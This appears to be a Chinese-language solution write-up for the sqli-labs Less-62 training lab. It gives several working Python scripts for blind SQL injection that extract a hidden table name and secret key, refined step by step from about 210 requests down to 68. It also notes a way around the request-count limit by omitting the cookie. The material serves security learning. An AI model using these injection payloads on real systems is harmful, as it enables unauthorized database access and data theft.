sqli-labs靶场Less-62题解(少于130次)

sqli-labs靶场Less-62题目,是通过布尔注入获取一段secret key,该key存于challenges数据库的某个随机表名的表内。要求在请求次数不超过130次的情况下获取该key。

靶场搭建

直接用docker搭建:sudo docker run -dt --name sqli-lab -p 80:80 acgpiano/sqli-labs:latest

二分法

该注入点是id参数,SQL语句上下文是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1,注入时用')闭合。一般思路是先获取存key的表的表名,再获取key所在的列的列名,再获取key。表名有10个字符,由大写字母和数字构成;列名为secret_4个字符,这4个字符由大写字母和数字构成;secret key为24个字符,由大小写字母和数字构成。

下面的脚本采用二分法比较ASCII码来获取数据,请求次数在210次左右。而题目要求是130次内,不过请求不带Cookie可绕过了这个限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/python3
# -*-coding:utf-8-*-
import requests
import string

"""
表名:10个字符。有大写字母和数字构成
列名:secret_接4个字符,这4个字符由大写字母和数字构成
secret:24个字符,由大小写字母和数字构成
"""

un_chars = string.digits + string.ascii_uppercase # 按ASCII码从小到大排序
uln_chars = string.digits + string.ascii_uppercase + string.ascii_lowercase # 按ASCII码从小到大排序
url = "http://192.168.197.133/Less-62/index.php" # 改成你的地址
try_count = 0

def extract_data(tmpl_payload, length, chars):
global try_count
result = ""
for i in range(1, length + 1):
left, right = 0, len(chars) - 1
while left < right:
m = (left + right) // 2 # 左中位数
payload = tmpl_payload % (i, ord(chars[m]))
resp = requests.get(url, params={"id": payload})
try_count += 1 # 统计请求个数
if "Your Login name" in resp.text:
left = m + 1
else:
right = m
result += chars[left]

return result


table_name = extract_data(
"1') and ascii(substr((select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges'),%s,1))>%d#",
10, un_chars
)
print("table_name:", table_name)

column_name = "secret_" + extract_data(
"1') and ascii(substr(substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4),%s,1))>%d#",
4, un_chars
)
print("column_name:", column_name)

secret_key = extract_data(
"1') and ascii(substr((select " + column_name + " from " + table_name+"),%s,1))>%d#",
24, uln_chars
)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)

利用多状态

虽说上面可以绕过尝试次数限制,那如果就要尝试次数在130次内呢。

上面的二分法通过判断响应里是否有查询结果来判断注入的SQL语句为True或False,响应里有两种状态:有查询结果和无查询结果。其实响应里存在多个状态,id为1时返回的Login nameAngelina,为2时返回的是Dummy,还有为3,为4,为5等。假如我们要判断数据库里一个字符中的N个比特是什么,我们需要2的N次方个状态,如:我们要判断某串字符串第i个字符的第j位开始的三个比特是否为:000,001,010,011,100,101,110或111,写成SQL语句就是:

1
2
3
4
5
6
7
8
9
10
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & (2**j + 2**(j+1) + 2**(j+2))
WHEN 0 THEN 1
WHEN 2**j THEN 2
WHEN 2**(j+1) THEN 3
WHEN 2**(j+1) + 2**j THEN 4
WHEN 2**(j+2) THEN 5
WHEN 2**(j+2) + 2**j THEN 6
WHEN 2**(j+2) + 2**(j+1) THEN 7
ELSE 8
END

因为users表里的数据有13条,也就是13个状态,大于8,小于16,所以每次请求通过比较8个状态获取3个比特的数据。

一个小问题:为什么id为1时,返回的name是Angelina?而数据库里id为1的name是Dumb

因为响应中返回的name是从硬编码在PHP代码里的数组里通过下标获取的,看代码:https://github.com/Audi-1/sqli-labs/blob/886b0dcc733c1a36caf10cfba076397b9e09ce7f/Less-62/index.php#L104

通过上面的思路,编写脚本如下。请求次数减少到114次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php" # 改成你的地址
try_count = 0

def extract_bits(query, i, j):
"""
获取query执行结果的第 i 个(从1开始算)字符的第 j 位开始的 3 个比特
"""
global try_count

payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(0, 2**j, 2**(j+1), 2**(j+1) + 2**j, 2**(j+2), 2**(j+2) + 2**j, 2**(j+2) + 2**(j+1), query=query, bit_mark=2**j + 2**(j+1) + 2**(j+2), i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)

resp = requests.get(url, params={"id": payload})
try_count += 1

info = {
"Angelina": "000",
"Dummy": "001",
"secure": "010",
"stupid": "011",
"superman": "100",
"batman": "101",
"admin": "110",
"admin1": "111"
}

match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
bits = info.get(match.group(1))
assert bits
return bits


def extract_data(query, length):
res = ""
for i in range(1, length+1):
b3 = extract_bits(query, i, 0) # 00000111
b2 = extract_bits(query, i, 3) # 00111000
b1 = extract_bits(query, i, 5) # 11100000
bit = b1[:2] + b2 + b3
res += chr(int(bit, 2))
return res


if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)

column_name = "secret_" + extract_data(
"substr((select column_name from information_schema.columns where TABLE_name='" + table_name + "' limit 2,1),8,4)",
4
)
print("column_name:", column_name)

secret_key = extract_data("select " + column_name + " from challenges." + table_name, 24)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)

再减少点次数

上面通过获取表名,再列名,再key。其实也可以不获取列名,只要知道表里有多少列,key所在的列在第几列即可,少点尝试次数。将上面main块的代码改成:

1
2
3
4
5
6
7
8
if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)

secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24) # 主要改的是这一句
print("secret_key:", secret_key)

print("Done. try_count:", try_count)

请求次数是102次。

再减少些次数

一般MySQL的表名是区分大小写的,而在字符串比较的时候是不区分大小写的。进到docker容器里(sudo docker exec -it sqli-lab mysql)执行下面SQL语句测试下:

1
2
3
4
5
6
use security

SELECT * FROM users; # 返回了数据
SELECT * FROM userS; # 报错,表名不存在
SELECT * FROM users WHERE username='admin'; # 返回admin
SELECT * FROM users WHERE username='ADMIn'; # 还是可以返回admin

再看sqli-labs比较key是否正确的SQL语句(代码在这):

1
SELECT 1 FROM $table WHERE $col1= '$key';

所以在获取key时,可以不管字母的大小写。而对于表名,它的构成是大写字母和数字,也用不着理会它的大小写。

再看数字、大写字母、小写字母的ASCII码的二进制格式:

1
2
3
数字: 0011xxxx
大写: 010xxxxx
小写: 011xxxxx

在获取表名或key时,我们判断第7位(比特)是不是1就知道该字符是数字或字母;而第6位不用管,因为对于数字,该位为1,对于字母,我们不用管字母的大小写也就不用管该位是0还是1。所以对于每个字符,我们只需获取第7位和前5位即可。

编写脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python3
# -*-coding:utf-8-*-

import re
import requests


url = "http://192.168.197.133/Less-62/index.php" # 改成你的地址
try_count = 0

def extract_bits(query, i, bit_values: list):
"""
获取query执行结果的第 i 个(从1开始算)字符的3个比特
哪3个比特由bit_values指定
"""
global try_count

assert len(bit_values) == 8
bit_marks = 0
for v in bit_values:
bit_marks |= v


payload = """
'+(
SELECT CASE ASCII(SUBSTRING(({query}), {i}, 1)) & ({bit_mark})
WHEN {0} THEN 1
WHEN {1} THEN 2
WHEN {2} THEN 3
WHEN {3} THEN 4
WHEN {4} THEN 5
WHEN {5} THEN 6
WHEN {6} THEN 7
ELSE 8
END
)+'
""".format(*bit_values[:7], query=query, bit_mark=bit_marks, i=i)
payload = re.sub(r'\s+', ' ', payload.strip().replace("\n", " "))
# print(payload)

resp = requests.get(url, params={"id": payload})
try_count += 1

infos = ["Angelina", "Dummy", "secure", "stupid", "superman", "batman", "admin", "admin1"]

match = re.search(r"Your Login name : (.*?)<br>", resp.text)
assert match
assert match.group(1) in infos
bits = bit_values[infos.index(match.group(1))]
return bits

def extract_data(query, length):
"""
获取query查询结果的length个字符,每个字符只获取其第7位和前5位
"""
res = ""
for i in range(1, length+1):
b2 = extract_bits(query, i, [0b00000000, 0b00000001, 0b00000010, 0b00000011, 0b00000100, 0b00000101, 0b00000110, 0b00000111]) # 00000111
b1 = extract_bits(query, i, [0b00000000, 0b00001000, 0b00010000, 0b00011000, 0b01000000, 0b01001000, 0b01010000, 0b01011000]) # 01011000
if b1 & 0b01000000 == 0:
# 该字符为数字
bit = b1 | b2 | 0b00100000
else:
# 该字符为字母
bit = b1 | b2
res += chr(bit)
return res


if __name__ == "__main__":
table_name = extract_data("select table_name from information_schema.TABLES where TABLE_SCHEMA='challenges' limit 1", 10)
print("table_name:", table_name)

secret_key = extract_data("select c from (select 1 as a, 2 as b, 3 as c, 4 as d union select * from challenges.%s limit 1,1)x" % table_name, 24)
print("secret_key:", secret_key)

print("Done. try_count:", try_count)


请求次数是68次。